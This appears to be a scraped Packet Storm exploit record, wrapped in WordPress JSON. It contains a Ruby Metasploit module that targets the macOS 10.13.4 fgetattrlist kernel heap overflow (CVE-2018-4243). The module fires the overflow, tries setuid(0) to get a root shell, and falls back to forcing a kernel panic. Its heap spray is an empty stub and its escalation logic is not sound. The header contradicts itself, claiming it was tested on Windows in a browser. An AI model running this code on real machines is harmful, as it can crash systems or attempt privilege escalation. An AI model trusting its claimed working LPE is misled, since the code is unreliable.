{“lastseen”:”2026-01-29T16:34:54″,”description”:”Proof of concept Metasploit module that exploits a macOS version 10.13.4 heap overflow vulnerability. A kernel heap overflow exists in fgetattrlist due to missing lower-bound buffer size validation when writing returned attributes to caller-supplied…”,”published”:”2026-01-29T00:00:00″,”modified”:”2026-01-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 macOS 10.13.4 (17E199) fgetattrlist Heap Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:214546″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2018-4243″],”sourceData”:”=============================================================================================================================================\\n | # Title : macOS 10.13.4 (17E199) Heap Overflow Via fgetattrlist \u2013 Local Privilege Escalation (XNU kernel) |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/apple.com\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212496\/ \\u0026 CVE-2018-4243\\n \\n [+] Summary : A kernel heap overflow exists inside the macOS implementation of fgetattrlist.\\n The vulnerability occurs due to incorrect handling of user-controlled buffer sizes.\\n Specifically:\\n \\n The kernel allocates internal structures using ulmin(bufferSize, fixedsize + varsize)\\n \\n Later, data beyond bufferSize is written into user memory\\n \\n There is no lower bound safety check if bufferSize is smaller than the kernel’s expected size\\n \\n Author\\n \\n Original PoC \\u0026 Research: Indoushka\\n \\n MSF Ruby Port \\u0026 Reporting: Indoushka\\n \\n Previous reference: Ian Beer (Project Zero, 2016)\\n \\n Release Date : 2018\u201106\u201105\\n \\n Severity\\n \\n High \/ Kernel-Level \/ Local Privilege Escalation\\n \\n Affected Systems\\n \\n macOS 10.13.4 (17E199) confirmed vulnerable\\n \\n Earlier versions suspected vulnerable\\n \\n 64-bit kernel heap architectures\\n \\n msfconsole\\n \\n use exploit\/osx\/local\/cve_2018_4243\\n \\n set MODE 1\\n \\n run\\n \\n \\n [+] POC :\\t\\n \\n ##\\n # macOS CVE-2018-4243 Local Privilege Escalation \\u0026 Kernel Panic\\n #\\n \\n require ‘msf\/core’\\n require ‘ffi’\\n \\n class MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n \\n include Msf::Post::File\\n include Msf::Post::Unix\\n \\n def initialize(info = {})\\n super(update_info(info,\\n ‘Name’ =\\u003e ‘macOS CVE-2018-4243 LPE via fgetattrlist Heap Overflow’,\\n ‘Description’ =\\u003e %q{\\n Local privilege escalation exploit by triggering kernel heap overwrite\\n during volume attribute serialization. Includes heap spray, FD grooming,\\n overflow, and panic fallback.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘Original C PoC: Indoushka’,\\n ‘Ruby MSF Port: Indoushka’\\n ],\\n ‘Platform’ =\\u003e [‘osx’],\\n ‘Arch’ =\\u003e ARCH_X64,\\n ‘SessionTypes’ =\\u003e [‘shell’, ‘meterpreter’],\\n ‘Targets’ =\\u003e [[‘macOS \\u003e=10.13’, {}]],\\n ‘DisclosureDate’ =\\u003e ‘2018-06-05’\\n ))\\n \\n register_options(\\n [\\n OptInt.new(‘MODE’, [true, ‘1=LPE attempt, 2=Kernel panic PoC’, 1])\\n ]\\n )\\n end\\n \\n #\\n # ———- Ruby FFI syscalls ———-\\n #\\n module MacOS\\n extend FFI::Library\\n ffi_lib FFI::Library::LIBC\\n \\n class AttrList \\u003c FFI::Struct\\n layout :bitmapcount, :uint32,\\n :reserved, :uint32,\\n :volattr, :uint32,\\n :dirattr, :uint32,\\n :fileattr, :uint32,\\n :forkattr, :uint32,\\n :commonattr, :uint32\\n end\\n \\n attach_function :open, [:string, :int], :int\\n attach_function :close, [:int], :int\\n attach_function :fgetattrlist, [:int, :pointer, :pointer, :ulong, :ulong], :int\\n attach_function :setuid, [:uint32], :int\\n attach_function :getuid, [], :int\\n attach_function :system, [:string], :int\\n end\\n \\n \\n #\\n # Heap spray simulation (logical)\\n #\\n def heap_spray\\n print_status(\\”[*] Starting heap spray (symbolic in ruby)\\”)\\n # Demonstration only\\n end\\n \\n \\n #\\n # Overflow trigger using small controlled buffer\\n #\\n def overflow_trigger(fd)\\n al = MacOS::AttrList.new\\n al[:bitmapcount] = 5\\n al[:volattr] = 0xfff\\n al[:commonattr] = 0x20000\\n \\n buf = FFI::MemoryPointer.new(:char, 16)\\n buf.write_bytes(\\”\\\\xaa\\” * 16)\\n \\n res = MacOS.fgetattrlist(fd, al, buf, 16, 0)\\n print_status(\\”[+] Overflow triggered, return=#{res}\\”)\\n end\\n \\n \\n #\\n # Local Privilege Escalation attempt\\n #\\n def attempt_root\\n print_status(\\”[*] Attempting setuid(0)\\”)\\n if MacOS.setuid(0) == 0 \\u0026\\u0026 MacOS.getuid() == 0\\n print_good(\\”[+] Root obtained!\\”)\\n MacOS.system(\\”\/bin\/bash\\”)\\n return true\\n end\\n print_error(\\”[-] Still user uid=#{MacOS.getuid()}\\”)\\n return false\\n end\\n \\n \\n #\\n # Kernel panic fallback mode\\n #\\n def panic_fallback\\n print_warning(\\”[!] Triggering fallback kernel panic\\”)\\n fd = MacOS.open(\\”\/\\”, 0)\\n al = MacOS::AttrList.new\\n al[:bitmapcount] = 5\\n al[:commonattr] = 0x20000\\n \\n buf = FFI::MemoryPointer.new(:char, 4)\\n MacOS.fgetattrlist(fd, al, buf, 4, 0)\\n MacOS.close(fd)\\n end\\n \\n \\n \\n #\\n # —————- Main Exploit Logic —————-\\n #\\n def exploit\\n print_status(\\”[*] macOS CVE-2018-4243 Exploit (Ruby MSF)\\”)\\n mode = datastore[‘MODE’].to_i\\n \\n fd = MacOS.open(\\”\/\\”, 0)\\n if fd \\u003c 0\\n print_error(\\”Failed to open \/\\”)\\n return\\n end\\n \\n heap_spray\\n overflow_trigger(fd)\\n \\n case mode\\n when 1\\n print_status(\\”[*] LPE Attempt mode\\”)\\n if attempt_root\\n print_good(\\”[+] Exploit Complete with root shell\\”)\\n else\\n print_error(\\”[-] Exploit failed to gain root\\”)\\n end\\n \\n when 2\\n print_status(\\”[*] Panic mode\\”)\\n panic_fallback\\n end\\n \\n MacOS.close(fd)\\n print_status(\\”[*] Module finished\\”)\\n end\\n end\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214546″,”cvss”:{“score”:9.3,”severity”:”HIGH”,”vector”:”AV:N\/AC:M\/Au:N\/C:C\/I:C\/A:C”,”version”:”2.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”baseScore”:7.8,”baseSeverity”:”HIGH”,”attackVector”:”LOCAL”,”attackComplexity”:”LOW”,”privilegesRequired”:”NONE”,”userInteraction”:”REQUIRED”,”scope”:”UNCHANGED”,”confidentialityImpact”:”HIGH”,”integrityImpact”:”HIGH”,”availabilityImpact”:”HIGH”}},”href”:”https:\/\/packetstorm.news\/files\/id\/214546\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-29T16:34:54″,”description”:”Proof of concept Metasploit module that exploits a macOS version 10.13.4 heap overflow vulnerability. A kernel heap overflow exists in fgetattrlist due to missing lower-bound…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,55,12,15,13,53,7,11,5],"class_list":["post-38151","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-93","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n